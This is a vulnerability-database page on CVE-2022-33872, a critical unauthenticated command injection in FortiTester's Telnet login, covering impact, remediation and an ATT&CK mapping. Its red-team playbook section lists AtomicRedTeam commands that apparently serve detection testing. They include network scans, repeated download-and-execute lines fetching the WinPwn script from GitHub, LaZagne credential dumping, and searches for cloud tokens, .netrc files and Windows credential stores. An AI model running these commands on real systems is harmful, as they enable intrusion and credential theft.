CVE-2022-33872
Overview
This vulnerability is an OS command injection caused by improper neutralization of special characters within the Telnet login component of Fortinet FortiTester. The flaw arises from insufficient input validation that allows unsanitized data to be passed directly to the underlying shell command interpreter. Affected components include Telnet login handlers in FortiTester versions 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, and 7.0.0 through 7.1.0.
Vulnerability Description
An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerabilities [CWE-78] in Telnet login components of FortiTester 2.3.0 through 3.9.1, 4.0.0 through 4.2.0, 7.0.0 through 7.1.0 may allow an unauthenticated remote attacker to execute arbitrary command in the underlying shell.
Impact
An unauthenticated remote attacker with network access to the Telnet service can execute arbitrary commands on the underlying operating system, leading to full system compromise. This allows for unauthorized control over the affected device, potentially resulting in data exfiltration, service disruption, or lateral movement within the network. The vulnerability requires no authentication and has low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward in exposed environments.
Solution
Fortinet has released security updates addressing this vulnerability in FortiTester versions beyond 3.9.1, 4.2.0, and 7.1.0 as detailed in their advisory FG-IR-22-237 available at https://fortiguard.com/psirt/FG-IR-22-237. Users should upgrade to the fixed versions recommended by Fortinet to mitigate this issue. No specific workarounds are provided; applying the official patches is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from improper neutralization of special elements used in operating system commands, specifically within the Telnet login components of FortiTester. This flaw allows an unauthenticated remote attacker to execute arbitrary commands in the underlying shell. The root cause of this issue lies in the inadequate validation of user input, which can be exploited to inject malicious commands. When a user interacts with the Telnet interface, the system fails to properly sanitize the input, allowing attackers to manipulate the command execution flow. This vulnerability is particularly concerning as it can be exploited without authentication, making it accessible to a wide range of potential attackers.
Attack vectors for this vulnerability are relatively straightforward, as they primarily involve sending crafted input through the Telnet interface. An attacker could initiate a Telnet session and provide input that includes command injection payloads. For instance, by appending shell commands to legitimate input, an attacker can execute arbitrary commands on the host system. The exploitation of this vulnerability can lead to various malicious outcomes, including data exfiltration, system compromise, or the installation of malware. Given the nature of the commands that can be executed, the attacker could gain full control over the affected system, leading to further network infiltration or lateral movement within an organization.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on FortiTester for network testing and performance assessment. The potential for unauthorized command execution poses a severe business risk, as attackers could exploit this vulnerability to disrupt operations, steal sensitive information, or deploy ransomware. The high CVSS score of 9.8 indicates a critical severity level, suggesting that organizations must prioritize remediation efforts. The consequences of a successful attack could include financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all FortiTester instances are updated to the latest versions that address this flaw. Regular patch management practices should be enforced to minimize exposure to known vulnerabilities. Additionally, organizations should conduct thorough security assessments, including penetration testing and vulnerability scanning, to identify any instances of this vulnerability in their environments. Network segmentation and strict access controls can also help limit the exposure of critical systems to potential attackers. Furthermore, monitoring for unusual activity on systems using FortiTester can aid in early detection of exploitation attempts.
In conclusion, the vulnerability within the Telnet login components of FortiTester presents a critical threat that requires immediate attention from affected organizations. The ability for unauthenticated remote attackers to execute arbitrary commands poses a severe risk to system integrity and organizational security. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability effectively. Proactive measures, including timely updates and robust security practices, are essential to safeguarding against the exploitation of this critical flaw.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Fortinet | Fortitester | All |
cpe:2.3:a:fortinet:fortitester:*:*:*:*:*:*:*:*
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|
|
Fortinet | Fortitester | All |
cpe:2.3:a:fortinet:fortitester:*:*:*:*:*:*:*:*
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|
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Fortinet | Fortitester | All |
cpe:2.3:a:fortinet:fortitester:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-33872 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-22-237 |